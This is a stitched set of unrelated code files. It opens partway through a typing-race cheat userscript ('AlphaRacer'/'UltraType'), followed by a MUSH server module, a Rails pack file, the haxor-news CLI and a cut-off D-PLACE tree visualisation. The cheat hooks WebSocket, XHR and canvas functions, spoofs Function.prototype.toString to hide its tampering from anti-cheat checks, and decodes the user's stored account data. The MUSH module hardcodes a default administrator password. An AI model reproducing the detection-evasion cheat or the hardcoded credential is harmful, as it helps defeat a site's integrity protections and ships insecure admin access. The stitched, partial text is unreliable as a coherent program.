let _getTitle = Document.prototype.__lookupGetter__('title');
let _setTitle = Document.prototype.__lookupSetter__('title');
CanvasRenderingContext2D.prototype.fillText = __.fill;
window.WebSocket = __ws;
Function.prototype.toString = __.toStr = function() {
if (this === Function.prototype.toString) return _.toStr.call(_.toStr);
if (this === CanvasRenderingContext2D.prototype.fillText) return _.toStr.call(_.fill);
if (this === Object.prototype.__lookupGetter__) return _.toStr.call(_.get);
if (this === ShadowRoot.prototype.__lookupGetter__('host')) return _.toStr.call(hostt);
if (this === Function.prototype.__lookupGetter__('toString')) return _.toStr.call(_getToStr);
if (this === Element.prototype.__lookupSetter__('textContent')) return _.toStr.call(_setTxt);
if (this === Document.prototype.__lookupGetter__('title')) return _.toStr.call(_getTitle);
if (this === Document.prototype.__lookupSetter__('title')) return _.toStr.call(_setTitle);
if (this === PIXI.BitmapText.prototype.setText) return _.toStr.call(_get);
if (this === console.warn) return _.toStr.call(_.warn);
if (this === WebSocket) return _.toStr.call(_.ws);
if (this === XMLHttpRequest.prototype.send) return _.toStr.call(_.xsend);
if (this === XMLHttpRequest.prototype.open) return _.toStr.call(_.xopen);
if (this === window.onerror) return _.toStr.call(_.oerr);
if (window.jQuery && this === jQuery.fn.keypress) return _.toStr.call(_attachHandler);
return _.toStr.call(this);
}
ShadowRoot.prototype.__defineGetter__('host', () => {
if (this === injectedRoot) return null;
return _.host.call(this);
});
let observer = new MutationObserver(mutations => {
mutations.forEach(mutation => {
if (mutation.type == "childList" && mutation.addedNodes.length > 0) {
for (let i in mutation.addedNodes) {
if (mutation.addedNodes[i].nodeName == "BODY") createUI(mutation.addedNodes[i]);
if (mutation.addedNodes[i].nodeName == "IFRAME") blockAd(mutation.addedNodes[i]);
if (mutation.addedNodes[i].className == "race-tip") changeTip(mutation.addedNodes[i]);
if (mutation.addedNodes[i].nodeName == "SCRIPT") handleScript(mutation.addedNodes[i]);
}
}
});
});
observer.observe(document.documentElement, {
childList: true,
subtree: true,
attributes: true,
attributeFilter: ['style']
});
let _fakeToStr = __.toStr;
_fakeToStr.__proto__ = _.toStr.prototype;
_fakeToStr.prototype = _.toStr.prototype;
Object.defineProperty(Function.prototype, 'toString', {
get: () => {
if (this === __.toStr) return _fakeToStr;
return __.toStr;
},
enumerable: false
});
localStorage.clear = function() {} // Disable localStorage clearing
Function.prototype.__defineGetter__('toString', function() {
if (this === CanvasRenderingContext2D.prototype || this === CanvasRenderingContext2D.prototype.fillText) return __.toStr;
if (this === console || this === console.warn) return __.toStr;
if (this === ShadowRoot.prototype.__lookupGetter__('host') || this === ShadowRoot.prototype) return __.toStr;
if (this === Object.prototype || this === Object.prototype.__lookupGetter__) return __.toStr;
if (this === Function.prototype.__lookupGetter__('toString')) return __.toStr;
if (this === PIXI.BitmapText.prototype.setText) return __.toStr;
if (this === WebSocket) return __.toStr;
if (this === injectedRoot) return __.toStr;
if (this === Document.prototype.__lookupGetter__('title')) return __.toStr;
if (this === Document.prototype.__lookupSetter__('title')) return __.toStr;
if (this === XMLHttpRequest.prototype.send) return __.toStr;
if (this === XMLHttpRequest.prototype.open) return __.toStr;
if (this === window.onerror) return __.toStr;
if (window.jQuery && this === jQuery.fn.keypress) return __.toStr;
return _.toStr;
});
setInterval(() => {
_setTitle.call(document, "AlphaRacer By: AlphaDevTeam");
}, 100);
Document.prototype.__defineGetter__('title', t => {
return _title;
});
Document.prototype.__defineSetter__('title', t => {
_title = t;
});
_.listen.apply(window, ['load', () => {
_.oerr = window.onerror;
window.onbeforeunload = () => {
return null;
};
window.ga = () => {};
window.onerror = evt => {
if (evt.includes("'visible' of undefined")) {
// Exception triggered due to turbo mode
respawn();
}
return null;
};
username = extractUserName();
userInfo = ROT47(localStorage["A=2J6C"]);
userInfo = JSON.parse(userInfo);
debug("Extracted and decrypted user info", userInfo);
if (localStorage['statsOn']) statsOn = true;
}]);
/*
window.addEventListener('DOMContentLoaded', () => {
setTimeout(removeUITrash, 75);
});
*/
let registerAPIEvent = (evt, callback) => {
if (typeof callback !== 'function') {
throw new Error('Invalid event callback.');
return;
}
switch (evt) {
case "userBanned":
apie.onUserBanned = callback;
break;
case "raceStart":
apie.onRaceStart = callback;
break;
case "raceEnd":
case "raceFinish":
apie.onRaceFinish = callback;
break;
case "nitroUsed":
case "nitroUse":
case "nitro":
apie.onNitroUsed = callback;
break;
case "raceStarting":
case "raceBegin":
case "raceInit":
apie.onRaceStarting = callback;
break;
case "type":
case "typed":
case "botType":
apie.onType = callback;
break;
case "ready":
case "load":
case "loaded":
case "start":
case "started":
apie.onReady = callback;
break;
default:
throw new Error('Invalid event name!');
break;
}
return window.UltraTypeCore;
}
// Core API
let core = {
on: registerAPIEvent,
turbo: turbo,
setWPM: setWPM,
sendTypePacket: typePacket,
typeChar: type,
stopFromRunning: () => { // Stops the bot from appearing or typing
isStopped = true;
},
getDecyptedUserInfo: () => {
if (userInfo) {
return userInfo;
} else {
return null;
}
},
setAutoTurbo: state => {
if (state === false) {
autoTurboOff();
} else if (state === true) {
autoTurboOn();
} else {
throw new Error('Invalid auto turbo state.');
}
},
getBotStateRaw: getBotState,
getBotState: () => {
return {
nitrosUsed: nitrosUsed,
lesson: lesson,
currWord: index,
wpm: wordsPerMinute,
acc: accuracy,
errReqs: errorRequests.length,
uinfo: JSON.stringify(userInfo),
fillsY: fillsY.length,
version: VERSION,
wpmHistory: points,
isFinished: finished,
startTime: startTime,
endTime: endTime
};
},
toggleDebug: () => {
LOG_DEBUG = !LOG_DEBUG;
},
getLesson: () => {
if (lesson) {
return lesson;
} else return null;
},
setAutoRefresh: val => {
if (typeof val !== 'boolean') {
throw new Error('Can only set auto refresh to a boolean.');
return;
} else {
autoRefresh = val;
}
},
getNitrosUsed: () => {
return nitrosUsed || 0
},
toggleBotLog: () => {
LOG_TYPING_INFO = !LOG_TYPING_INFO;
},
disableStats: disableStats,
randBool: randomBool,
updateStats: updateStats,
useNitro: useNitro,
flushRaw: () => {
// Reset UltraType to it's default settings
[
'accuracy',
'autoRefresh',
'autoTurbo',
'statsOn',
'autoNitro',
'wpm',
'chartOn',
'speedChange'
].forEach(k => {
delete localStorage[k];
});
},
flush: () => {
core.flushRaw();
delete localStorage['ultratypedev'];
console.warn('Flushed UltraType settings, reloading...');
setTimeout(location.reload.bind(location), 1000);
},
toggleLocalLoad: () => {
if (localStorage["ultratypedev"]) {
delete localStorage["ultratypedev"];
console.info("Disabled local loading.");
} else {
localStorage["ultratypedev"] = true;
console.info("Enabled local loading.");
}
},
// Utility method to automatically involk debugger when a function is called
debugFn: fn => {
let _fn = fn;
fn = function() {
debugger;
_fn.apply(this, arguments);
}
return fn;
}
}
window.UltraTypeCore = core;
let hcScript = document.createElement('script');
hcScript.src = 'https://code.highcharts.com/highcharts.src.js';
hcScript.addEventListener('load', () => {
setTimeout(initChart.bind(window), 250);
});
document.head.appendChild(hcScript);
// Bye bye!
console.log('AlphaRacer ' + VERSION + ' loaded.');
document.currentScript.remove();
})();
|
import * as engine262 from "./../vendor/engine262/engine262.mjs"
import { crypto } from "https://deno.land/[email protected]/crypto/mod.ts"
function egg(id, type, attribs) {
this.id = id
this.data = {}
Object.assign(this.data, attribs)
this.serialize = function() {
return JSON.stringify(this.data)
}.bind(this)
}
function bytesToHex(buf) {
const mog = x => x.toString(16).padStart(2, '0')
return new Array(...new Uint8Array(buf)).map(mog).join('')
}
function hexToBytes(hex) {
const mog = x => Number.parseInt(x, 16)
return new Uint8Array(hex.match(/(..)/g).map(mog))
}
const NEXUS = 0
const WIZARD = 1
const MASTER = 2
const CONNECT = 3
export default function nest(tree, db) {
/* Functions not bound to this */
this.normalizeAttribute = function(attr) {
return attr.toLowerCase()
}
this.checkPassword = async function(password, stored) {
const [algorithm, salt, hash] = stored.split('$')
const attempt = await crypto.subtle.digest(algorithm, new TextEncoder().encode(salt + password))
return bytesToHex(attempt) == hash
}
this.createPassword = async function(password, salt = undefined) {
const algorithm = 'SHA-512'
if(!salt) {
salt = bytesToHex(crypto.getRandomValues(new Uint8Array(8)))
}
const bytes = await crypto.subtle.digest(algorithm, new TextEncoder().encode(salt + password))
const hash = bytesToHex(bytes)
return `${algorithm}$${salt}$${hash}`
}
this.tree = tree
this.db = db
this.find = function(query) {
return this.db.find(query)
}.bind(this)
this.create = function(base, owner, id = undefined) {
base.Created = Date.now()
if(owner) {
base.Owner = owner
}
return this.db.create(base, id)
}.bind(this)
this.get = function(actor, id, attr) {
attr = this.normalizeAttribute(attr)
return this.db.get(id, attr)
}.bind(this)
this.set = function(actor, id, attr, value) {
attr = this.normalizeAttribute(attr)
if(-1 != reservedAttributes.indexOf(attr)) {
throw new Error(`Cannot set reserved attribute ${attr}`)
}
return this.db.set(id, attr, value)
}.bind(this)
this.exec = function(actor, id, attr, ...args) {
attr = this.normalizeAttribute(attr)
/* ??? */
}.bind(this)
this.execAs = function(actor, script, ...args) {
return new Promise(function(resolve, reject) {
const workerPath = new URL('./softcodeworker.js', import.meta.url).href
const workerOpts = { type: "module" }
var worker = new Worker(workerPath, workerOpts)
worker.addEventListener('message', function(msg) {
if(msg.data.type == "open") {
worker.postMessage({ type: "init", script: script })
}
if(msg.data.type == "done") {
worker.terminate()
resolve(msg.data.value)
}
if(msg.data.type == "error") {
worker.terminate()
reject(msg.data.error)
}
})
})
}.bind(this)
this.init = function() {
/* Set up basics */
if(!this.db.exists(WIZARD)) {
const wizard = {
Indestructible: true,
Password: this.createPassword('Luminiferous', 'AETHER'),
desc: "Do not meddle in the affairs of wizards, for they are subtle and quick to anger.",
name: "Wizard",
}
this.db.create(wizard, WIZARD, WIZARD)
}
if(!this.db.exists(NEXUS)) {
const nexus = {
Indestructible: true,
desc: "In the beginning, the Earth was without form, and void.",
name: "Nexus",
}
this.db.create(nexus, WIZARD, NEXUS)
}
if(!this.db.exists(MASTER)) {
const nexus = {
Indestructible: true,
desc: "ALL THESE WORLDS ARE YOURS EXCEPT EUROPA. ATTEMPT NO LANDING THERE.",
name: "Master Room",
}
this.db.create(nexus, WIZARD, MASTER)
}
if(!this.db.exists(CONNECT)) {
const connect = {
Indestructible: true,
desc: "Welcome to the MUSH!",
name: "Connect",
}
this.db.create(connect, WIZARD, CONNECT)
}
}.bind(this)
}
|
/* eslint no-console:0 */
require('trix')
require('@rails/actiontext')
import { Application } from 'stimulus'
import { definitionsFromContext } from 'stimulus/webpack-helpers'
const application = Application.start()
const context = require.context('../controllers', true, /\.js$/)
application.load(definitionsFromContext(context))
|
# -*- coding: utf-8 -*-
# Copyright 2015 Donne Martin. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# or in the "license" file accompanying this file. This file is
# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
# ANY KIND, either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
from __future__ import print_function
from __future__ import division
import click
from .hacker_news import HackerNews
pass_hacker_news = click.make_pass_decorator(HackerNews)
class HackerNewsCli(object):
"""Encapsulate the Hacker News Command Line Interface."""
@click.group()
@click.pass_context
def cli(ctx):
"""Main entry point for HackerNewsCli.
:type ctx: :class:`click.core.Context`
:param ctx: An instance of click.core.Context that stores an instance
of `hacker_news.HackerNews`.
"""
# Create a HackerNews object and remember it as as the context object.
# From this point onwards other commands can refer to it by using the
# @pass_hacker_news decorator.
ctx.obj = HackerNews()
@cli.command()
@click.argument('limit', required=False, default=10)
@pass_hacker_news
def ask(hacker_news, limit):
"""Display Ask HN posts.
Example(s):
hn ask
hn ask 5
:type hacker_news: :class:`hacker_news.HackerNews`
:param hacker_news: An instance of `hacker_news.HackerNews`.
:type limit: int
:param limit: specifies the number of items to show.
Optional, defaults to 10.
"""
hacker_news.ask(limit)
@cli.command()
@click.argument('limit', required=False, default=10)
@pass_hacker_news
def best(hacker_news, limit):
"""Display the best posts of the past few days.
Example(s):
hn best
hn best 20
:type hacker_news: :class:`hacker_news.HackerNews`
:param hacker_news: An instance of `hacker_news.HackerNews`.
:type limit: int
:param limit: specifies the number of items to show.
Optional, defaults to 10.
"""
hacker_news.best(limit)
@cli.command()
@click.argument('regex_query', required=False)
@click.option('-i', '--id_post', required=False, default=0)
@pass_hacker_news
def freelance(hacker_news, regex_query, id_post):
"""Display comments from the seeking freelancer posts.
Searches the monthly Hacker News seeking freelancer post for comments
matching the given regex_query. Defaults to searching the latest
post.
You can search any post by providing a freelancer_post_id:
Example: https://news.ycombinator.com/item?id=10492087
freelancer_post_id = 10492087
Example(s):
hn freelance
hn freelance "Python"
hn freelance "(?i)Python|JavaScript" # (?i) case insensitive
hn freelance "(?i)Python" -i 8394339 # search post 8394339
hn freelance "(?i)(Python|JavaScript).*(rockstar)" > rockstars.txt
:type hacker_news: :class:`hacker_news.HackerNews`
:param hacker_news: An instance of `hacker_news.HackerNews`.
:type regex_query: str
:param regex_query: The regex query to match.
:type id_post: str
:param id_post: The who is hiring post id.
Optional, defaults to the latest post based on your installed
version of haxor-news.
"""
if id_post == 0:
hacker_news.config.load_hiring_and_freelance_ids()
id_post = hacker_news.config.freelance_id
hacker_news.hiring_and_freelance(regex_query, id_post)
@cli.command()
@click.argument('regex_query', required=False)
@click.option('-i', '--id_post', required=False, default=0)
@pass_hacker_news
def hiring(hacker_news, regex_query, id_post):
"""Display comments from the who is hiring posts.
Searches the monthly Hacker News who is hiring post for comments
matching the given regex_query. Defaults to searching the latest
post.
You can search any post by providing a who_is_hiring_post_id:
Example: https://news.ycombinator.com/item?id=10492086
who_is_hiring_post_id = 10492086
Example(s):
hn hiring
hn hiring "Python"
hn hiring "(?i)Python|JavaScript" # (?i) case insensitive
hn hiring "(?i)Python|JavaScript" -i 8394339 # search post 8394339
hn hiring "(?i)(Python|JavaScript).*(rockstar)" > rockstars.txt
:type hacker_news: :class:`hacker_news.HackerNews`
:param hacker_news: An instance of `hacker_news.HackerNews`.
:type regex_query: str
:param regex_query: The regex query to match.
:type id_post: str
:param id_post: The who is hiring post id.
Optional, defaults to the latest post based on your installed
version of haxor-news.
"""
if id_post == 0:
hacker_news.config.load_hiring_and_freelance_ids()
id_post = hacker_news.config.hiring_id
hacker_news.hiring_and_freelance(regex_query, id_post)
@cli.command()
@click.argument('limit', required=False, default=10)
@pass_hacker_news
def jobs(hacker_news, limit):
"""Display job posts.
Example(s):
hn jobs
hn jobs 15
:type hacker_news: :class:`hacker_news.HackerNews`
:param hacker_news: An instance of `hacker_news.HackerNews`.
:type limit: int
:param limit: specifies the number of items to show.
Optional, defaults to 10.
"""
hacker_news.jobs(limit)
@cli.command()
@click.argument('limit', required=False, default=10)
@pass_hacker_news
def new(hacker_news, limit):
"""Display the latest posts.
Example(s):
hn new
hn new 20
:type hacker_news: :class:`hacker_news.HackerNews`
:param hacker_news: An instance of `hacker_news.HackerNews`.
:param limit: specifies the number of items to show.
Optional, defaults to 10.
"""
hacker_news.new(limit)
@cli.command()
@click.argument('limit', required=False, default=50)
@pass_hacker_news
def onion(hacker_news, limit):
"""Display onions.
Example(s):
hn onion
hn onion 10
:type hacker_news: :class:`hacker_news.HackerNews`
:param hacker_news: An instance of `hacker_news.HackerNews`.
:param limit: specifies the number of items to show.
Optional, defaults to 10.
"""
hacker_news.onion(limit)
@cli.command()
@click.argument('limit', required=False, default=10)
@pass_hacker_news
def show(hacker_news, limit):
"""Display Show HN posts.
Example(s):
hn show
hn show 5
:type hacker_news: :class:`hacker_news.HackerNews`
:param hacker_news: An instance of `hacker_news.HackerNews`.
:param limit: specifies the number of items to show.
Optional, defaults to 10.
"""
hacker_news.show(limit)
@cli.command()
@click.argument('limit', required=False, default=10)
@pass_hacker_news
def top(hacker_news, limit):
"""Display the top recent posts.
Example(s):
hn top
hn top 20
:type hacker_news: :class:`hacker_news.HackerNews`
:param hacker_news: An instance of `hacker_news.HackerNews`.
:param limit: specifies the number of items to show.
Optional, defaults to 10.
"""
hacker_news.top(limit)
@cli.command()
@click.argument('user_id')
@click.option('-l', '--limit', required=False, default=10)
@pass_hacker_news
def user(hacker_news, user_id, limit):
"""Display basic user info and submitted posts.
Example(s):
hn user tptacek
hn user patio11
:type hacker_news: :class:`hacker_news.HackerNews`
:param hacker_news: An instance of `hacker_news.HackerNews`.
:type user_id: str
:param user_id: The user name/id.
:param limit: specifies the number of items to show.
Optional, defaults to 10.
Returns:
None.
"""
hacker_news.user(user_id, limit)
@cli.command()
@click.argument('index')
@click.option('-cq', '--comments_regex_query', required=False, default=None)
@click.option('-c', '--comments', is_flag=True)
@click.option('-cr', '--comments_recent', is_flag=True)
@click.option('-cu', '--comments_unseen', is_flag=True)
@click.option('-b', '--browser', is_flag=True)
@click.option('-cc', '--clear_cache', is_flag=True)
@click.option('-ch', '--comments_hide_non_matching', is_flag=True)
@pass_hacker_news
def view(hacker_news, index, comments_regex_query, comments,
comments_recent, comments_unseen,
comments_hide_non_matching, clear_cache, browser):
"""View the post index or id, hn view --help.
Example(s):
hn top
hn view 3
hn view 3 -c | less
hn view 3 -c > comments.txt
hn view 3 -cr
hn view 3 --comments_recent
hn view 3 -cu
hn view 3 --comments_unseen
hn view 3 -cu -ch
hn view 3 --comments_unseen --comments_hide_non_matching
hn view 3 --browser
hn view 3 -b -c
hn view 3 -comments -clear_cache
hn view 3 "(?i)case insensitive match" --comments
hn view 3 "(?i)programmer" --comments
hn view 3 "(?i)programmer" --comments | less
hn view 10492086
hn view 10492086 "Python"
hn view 10492086 "(?i)case insensitive match"
hn view 10492086 "(?i)(Python|Django)" > comments.txt
:type hacker_news: :class:`hacker_news.HackerNews`
:param hacker_news: An instance of `hacker_news.HackerNews`.
:type index: str
:param index: specifies either:
1) the index of a post just shown within a list of posts or
2) the actual post id
For example, calling `hn top` will list the top posts with
1-based indices for each post:
1. Post foo
2. Post bar
3. Post baz
A subsequent call to `hn view 1` will view 'Post foo'.
Providing an index larger than MAX_LIST_INDEX (1000) will
result in hn view treating index as an actual post id.
:type comments_regex_query: :class:`x.y`
:param comments_regex_query: the regex query to match.
Passing this option automatically sets comments to True.
:type comments: bool
:param comments: Determines whether to view the comments
or a simplified version of the post url.
:type comments_recent: bool
:param comments_recent: Determines whether to view only
recently comments (posted within the past 59 minutes or less).
:type comments_unseen: bool
:param comments_unseen: determines whether to view only
comments that you have not yet seen.
:type comments_hide_non_matching: bool
:param comments_hide_non_matching: determines whether to
hide comments that don't match (False) or truncate them (True).
:type clear_cache: bool
:param clear_cache: Determines whether to clear the comment cache before
running the view command.
:type browser: bool
:param browser: Determines whether to view the url
in a browser.
"""
try:
post_index = int(index)
except ValueError:
click.secho('Error: Expected an integer post index', fg='red')
else:
hacker_news.view_setup(post_index,
comments_regex_query,
comments,
comments_recent,
comments_unseen,
comments_hide_non_matching,
clear_cache,
browser)
|
angular.module('languagePhylogenyDirective', [])
.directive('languagePhylogeny', function(colorMapService) {
function link(scope, element, attrs) {
var rightAngleDiagonal = function() {
var projection = function(d) { return [d.y, d.x]; }
var path = function(pathData) {
return "M" + pathData[0] + ' ' + pathData[1] + " " + pathData[2];
}
function diagonal(diagonalPath, i) {
var source = diagonalPath.source,
target = diagonalPath.target,
midpointX = (source.x + target.x) / 2,
midpointY = (source.y + target.y) / 2,
pathData = [source, {x: target.x, y: source.y}, target];
pathData = pathData.map(projection);
return path(pathData)
}
diagonal.projection = function(x) {
if (!arguments.length) return projection;
projection = x;
return diagonal;
};
diagonal.path = function(x) {
if (!arguments.length) return path;
path = x;
return diagonal;
};
return diagonal;
}
var addMarkers = function(langTree, results, variable, node, global, translate) {
scope.results.societies.forEach(function(society) {
var selected = node.filter(function(d) {
return (d.name == society.society.name);
});
if (global) selected.select("circle").remove();
var society_name = society.society.name;
if (society.society.language) society_name += " (" + society.society.language.glotto_code + ")"; //formerly isocode
if (!variable) {
if (!global) return;
if (scope.query.l) {
if (society.society.language) {
selected.append("svg:circle")
.attr("r", 4.5)
.attr("stroke", "#000")
.attr("stroke-width", "0.5")
.attr("fill", function(n) {
value = results.classifications.map(function(l) { return l.id; }).indexOf(society.society.language.family.id);
return colorMapService.mapColor(value, results.classifications.length);
})
.on("mouseover", function() {
d3.select("body").append("div")
.attr("class", "tree-tooltip")
.html("<b>"+society_name+"</b>")
.style("z-index", 1000)
.style("max-width", "250px")
.style("left", (d3.event.pageX + 10)+"px")
.style("top", (d3.event.pageY + 5)+"px");
})
.on("mouseout", function() {
d3.select(".tree-tooltip").remove();
});
}
} else if (scope.query.p) {
if (society.society.region) {
selected.append("svg:circle")
.attr("r", 4.5)
.attr("stroke", "#000")
.attr("stroke-width", "0.5")
.attr("fill", function(n) {
value = results.geographic_regions.map(function(g) { return g.tdwg_code; }).indexOf(society.society.region.tdwg_code);
return colorMapService.mapColor(value, results.geographic_regions.length);
})
.on("mouseover", function() {
d3.select("body").append("div")
.attr("class", "tree-tooltip")
.html("<b>"+society_name+"</b>")
.style("z-index", 1000)
.style("max-width", "250px")
.style("left", (d3.event.pageX + 10)+"px")
.style("top", (d3.event.pageY + 5)+"px");
})
.on("mouseout", function() {
d3.select(".tree-tooltip").remove();
});
}
}
}
//if the marker is an environmental variable
if (society.environmental_values.length > 0) {
for (var i = 0; i < society.environmental_values.length; i++) {
if (society.environmental_values[i].variable == variable.id) {
var hover_text_value = society.environmental_values[i].coded_value_float + ' ' + variable.units;
selected.append("svg:circle")
.attr("r", 4.5)
.attr("stroke", "#000")
.attr("stroke-width", "0.5")
.attr("transform", "translate("+translate+",0)")
.attr("fill", function(n) {
rgb = colorMapService.tempColor(society.environmental_values[i].coded_value_float, variable.min, variable.max, variable.name);
return rgb;
})
.on("mouseover", function() {
d3.select("body").append("div")
.attr("class", "tree-tooltip")
.html("<b>"+society_name+":</b><br>"+hover_text_value)
.style("z-index", 1000)
.style("max-width", "250px")
.style("left", (d3.event.pageX + 10)+"px")
.style("top", (d3.event.pageY + 5)+"px");
})
.on("mouseout", function() {
d3.select(".tree-tooltip").remove();
});
}
}
}
if (society.variable_coded_values.length > 0 && variable.variable) {
for (var i = 0; i < society.variable_coded_values.length; i++) {
if (society.variable_coded_values[i].variable == variable.variable.id) {
if (variable.variable.data_type.toUpperCase() == 'CONTINUOUS') {
var hover_text_value = society.variable_coded_values[i].coded_value;
if (variable.variable.units) hover_text_value += ' ' + variable.variable.units;
} else
var hover_text_value = society.variable_coded_values[i].code_description.description;
selected.append("svg:circle")
.attr("r",4.5)
.attr("stroke", "#000")
.attr("stroke-width", "0.5")
.attr("transform", "translate("+translate+", 0)")
.attr("fill", function(n) {
if (society.variable_coded_values[i].code_description && society.variable_coded_values[i].code_description.description.indexOf("Missing data") != -1) {
return 'rgb(255, 255, 255)';
}
value = society.variable_coded_values[i].coded_value;
if (variable.variable.data_type.toUpperCase() == 'CONTINUOUS') {
var min = variable.variable.min;
var max = variable.variable.max;
rgb = colorMapService.mapColorMonochrome(min, max, value, 0);
return rgb;
}
if (variable.variable.data_type.toUpperCase() == 'ORDINAL') {
rgb = colorMapService.generateRandomHue(value, variable.codes.length, variable.variable.id, 5);
return rgb;
}
rgb = colorMapService.colorMap[parseInt(value)];
return rgb;
})
.on("mouseover", function() {
d3.select("body").append("div")
.attr("class", "tree-tooltip")
.html("<b>"+society_name+":</b><br>"+hover_text_value)
.style("z-index", 1000)
.style("max-width", "250px")
.style("left", (d3.event.pageX + 10)+"px")
.style("top", (d3.event.pageY + 5)+"px");
})
.on("mouseout", function() {
d3.select(".tree-tooltip").remove();
});
}
}
}
});
};
var addLogo = function(height) {
$.get("/static/images/D-PLACE_VLogo_RGB.svg", function(data) {
var svg_data = data.childNodes;
d3.select(".phylogeny").append("svg:g")
.attr("transform", "scale(0.5) translate(500,0)")
.attr("style", "opacity: 0.35;")
.attr("id", "tree-logo");
document.getElementById("tree-logo").innerHTML = svg_data[1].innerHTML;
});
};
var constructTree = function(langTree) {
d3.select("language-phylogeny").html('');
var newick = Newick.parse(langTree.newick_string);
var w = 500;
var tree = d3.layout.cluster()
.children(function(node) { return node.branchset; });
var nodes = tree(newick);
var h = nodes.length * 8;
tree = d3.layout.cluster()
.size([h, w])
.sort(function comparator(a, b) { return d3.ascending(a.length, b.length); })
.children(function(node) { return node.branchset; })
.separation(function separation(a, b) { return 8; });
nodes = tree(newick);
var vis = d3.select("language-phylogeny").append("svg:svg")
.attr("width", w+200)
.attr("height", h+150)
.attr("class", "phylogeny")
.append("svg:g")
.attr("transform", "translate(2,5)");
//WRITE C1, C2, E1, etc LABELS
if (langTree.name.indexOf("global") == -1) {
/*var labels = d3.select("language-phylogeny").append("svg:svg")
.attr("width", w+300)
.attr("height", 18)
.attr("id", "varLabels")
.attr("transform", "translate(-7,0)")
.attr("style", "visibility:hidden;");
labels.append("svg:rect")
.attr("width", "100%")
.attr("height", "100%")
.attr("fill", "white")
.attr("fill-opacity", "0.8");*/
keysWritten = 1;
translate = 0;
if (scope.query.c) {
for (var r = 0; r < scope.results.variable_descriptions.length; r++) {
vis.append("svg:text")
.attr("dx", w+translate-9)
.attr("dy", 10)
.text("C"+keysWritten);
/*labels.append("svg:text")
.attr("dx", w+translate)
.attr("dy", 15)
.text("C"+keysWritten);*/
scope.results.variable_descriptions[r].CID = "C"+keysWritten;
keysWritten++;
translate += 20;
}
}
if (scope.query.e) {
keysWritten = 1;
for (var r = 0; r < scope.results.environmental_variables.length; r++) {
vis.append("svg:text")
.attr("dx", w+translate-9)
.attr("dy", 10)
.text("E"+keysWritten);
/*labels.append("svg:text")
.attr("dx", w+translate)
.attr("dy", 15)
.text("E"+keysWritten);*/
scope.results.environmental_variables[r].CID = "E"+keysWritten;
keysWritten++;
translate += 20;
}
}
//---------------------------------------//
vis = vis.append("svg:g")
.attr("transform", "translate(0, 15)");
}
var diagonal = rightAngleDiagonal();
taxa = {}
include = scope.results.societies.map(function(s) { return s.society.ext_id; });
for (var i = 0; i < langTree.taxa.length; i++) {
for (var t = 0; t < langTree.taxa[i].societies.length; t++) {
if (include.indexOf(langTree.taxa[i].societies[t].society.ext_id) != -1) {
if (langTree.taxa[i].label in taxa) {
continue;
}
taxa[langTree.taxa[i].label] = langTree.taxa[i].societies[t];
}
}
}
nodes.forEach(function(node) {
node.rootDist = (node.parent ? node.parent.rootDist : 0) + (node.length || 0);
if (node.name in taxa) {
node.name = taxa[node.name].society.name;
}
});
var rootDists = nodes.map(function(n) { return (n.rootDist); });
var yscale = d3.scale.linear()
.domain([0, d3.max(rootDists)])
.range([0, w]);
var leafDistFromRoot = 0;
var longest_y = 0;
nodes.forEach(function(node) {
if (node.rootDist > leafDistFromRoot)
leafDistFromRoot = node.rootDist;
node.y = yscale(node.rootDist);
if (node.y > longest_y)
longest_y = node.y;
});
//calculate time scale
/*var timeScaleYears = leafDistFromRoot * 100; //convert to years
var pixelScale = (w / timeScaleYears) * 100;*/
var dotted = [];
var links = tree.links(nodes);
var link = vis.selectAll("path.link")
.data(links)
.enter().append("svg:path")
.attr("class", "link")
.attr("d", diagonal)
.attr("fill", "none")
.attr("stroke", "#ccc")
.attr("stroke-width", "3.5px");
var node = vis.selectAll("g.node")
.data(nodes)
.enter().append("svg:g")
.attr("class", function(n) {
if (n.children) return "inner-node";
else return "leaf-node";
})
.attr("transform", function(d) {
if (!d.children) {
dotted.push({'x':d.y, 'y':d.x})
return "translate(" + longest_y + ", " + d.x + ")";
}
return "translate(" + d.y + ", "+ d.x + ")";
});
for (var d = 0; d < dotted.length; d++) {
if (dotted[d].x >= longest_y-4) continue;
vis.append("svg:line")
.attr("x1", dotted[d].x)
.attr("x2", longest_y-5)
.attr("y1", dotted[d].y)
.attr("y2", dotted[d].y)
.attr("stroke-width", "3.5px")
.attr("stroke", "#ccc")
}
//}
//CODE FOR MARKERS ---
translate = 0;
//changes markers for global tree
if (langTree.name.indexOf("global") != -1) {
if ((scope.query.l || scope.query.p) && !scope.query.e && !scope.query.c) {
addMarkers(langTree, scope.results, null, node, true, translate);
}
scope.$watch('results.chosenTVariable', function(oldValue, newvalue) {
if (scope.results.chosenTVariable) {
chosen_var_id = scope.results.variable_descriptions.filter(function(variable) { return variable.variable.id == scope.results.chosenTVariable.id });
if (chosen_var_id.length > 0)
addMarkers(langTree, scope.results, chosen_var_id[0], node, true, translate);
else {
addMarkers(langTree, scope.results,scope.results.chosenTVariable, node, true, translate);
}
}
scope.treeDownload();
});
}
else {
//markers for non-global trees
if (scope.query.c) {
for (var r = 0; r < scope.results.variable_descriptions.length; r++) {
addMarkers(langTree, scope.results, scope.results.variable_descriptions[r], node, false, translate);
translate += 20;
}
}
if (scope.query.e) {
for (var r = 0; r < scope.results.environmental_variables.length; r++) {
if (!d3.select("#e"+scope.results.environmental_variables[r].id).select("svg")[0][0]) {
legend = d3.select("#e"+scope.results.environmental_variables[r].id).append("svg:svg")
.attr("height", "50")
.attr("width", "400")
.attr("class", "envLegend");
legend.append("svg:rect")
.attr("height", "30")
.attr("width", "250")
.attr("x", "20")
.attr("fill", function() {
if (scope.results.environmental_variables[r].name == "Net Primary Production" || scope.results.environmental_variables[r].name == "Mean Growing Season NPP")
return "url(societies#earthy)";
else if (scope.results.environmental_variables[r].name == "Monthly Mean Precipitation")
return "url(societies#blue)";
else return "url(societies#temp)";
});
legend.append("svg:text")
.attr("x", "0")
.attr("y", "45")
.text(scope.results.environmental_variables[r].min + ' ' + scope.results.environmental_variables[r].units);
legend.append("svg:text")
.attr("x", "250")
.attr("y", "45")
.text(scope.results.environmental_variables[r].max + ' ' + scope.results.environmental_variables[r].units);
}
addMarkers(langTree, scope.results, scope.results.environmental_variables[r], node, false, translate);
translate += 20;
}
}
if (scope.query.l && !scope.query.e && !scope.query.c) {
addMarkers(langTree, scope.results, null, node, false, translate);
}
}
